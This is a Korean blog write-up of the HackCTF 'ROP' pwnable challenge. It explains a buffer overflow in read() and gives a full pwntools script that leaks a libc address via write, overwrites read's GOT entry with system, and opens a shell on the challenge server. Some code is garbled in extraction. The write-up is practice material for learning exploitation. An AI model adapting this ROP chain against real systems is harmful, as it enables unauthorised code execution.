HACKCTF - ROP

2020. 9. 13. 15:27CTF's Write-up

문제 화면

 

 

해당 파일을 실행시켜보면

 

 

실행 화면

 

단순하게 hihi하나를 입력받고, "Hello, World!"을 출력시켜줍니다.

 

ida main

 

vulnerable_function

 

취약한 함수를 보면 read함수에서 bof가 일어나고,

 

 

ida 함수목록

 

write함수도 있으니 문제 이름그대로 ROP를 이용해서 풀면 될 것 같습니다.

ROP는 ROPASAROUXhttps://blog.pwnable.co.kr/266rop사우로드 문제에서 자세히 다뤘음으로

payload만 간략하게 다루겠습니다.

그 문제 그대로 풀이하면 될 듯 합니다 ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import * 
 
= remote("ctf.j0n9hyun.xyz"3021)
#r = process("./rop")
= ELF("./rop")
context.log_level = "debug"
 
 
libc = ELF("./libc.so.6")
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
bss = 0x0804a024
shell = "/bin/sh\00"
pppr = 0x08048509
 
payload = ""
payload += "A"*0x88 + "A"*0x4
payload += p32(read_plt) + p32(pppr) + p32(0+p32(bss) + p32(len(shell))
payload += p32(write_plt) + p32(pppr) + p32(1+ p32(read_got) + p32(4)
payload += p32(read_plt) + p32(pppr) + p32(0+ p32(read_got) + p32(4)
payload += p32(read_plt) + "AAAA" + p32(bss)
 
r.sendline(payload)
 
r.send(shell)
 
sleep(0.1)
read_add = u32(r.recv(4))
 
base_add = read_add - read_offset
system_add = base_add + system_offset
 
log.info("base_add = " + hex(base_add))
log.info("system_add = " + hex(system_add))
 
r.sendline(p32(system_add))
 
r.interactive()
cs

 

 

이를 실행시키면

 

실행

 

이렇게 flag를 획득할 수 있습니다,

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - SysROP  (0) 2020.09.15
HACKCTF - Unexploitable #1  (0) 2020.09.13
[보호]HACKCTF - LOL  (0) 2020.09.09
HACKCTF - Random Key  (0) 2020.09.08
HACKCTF - Poet  (0) 2020.09.07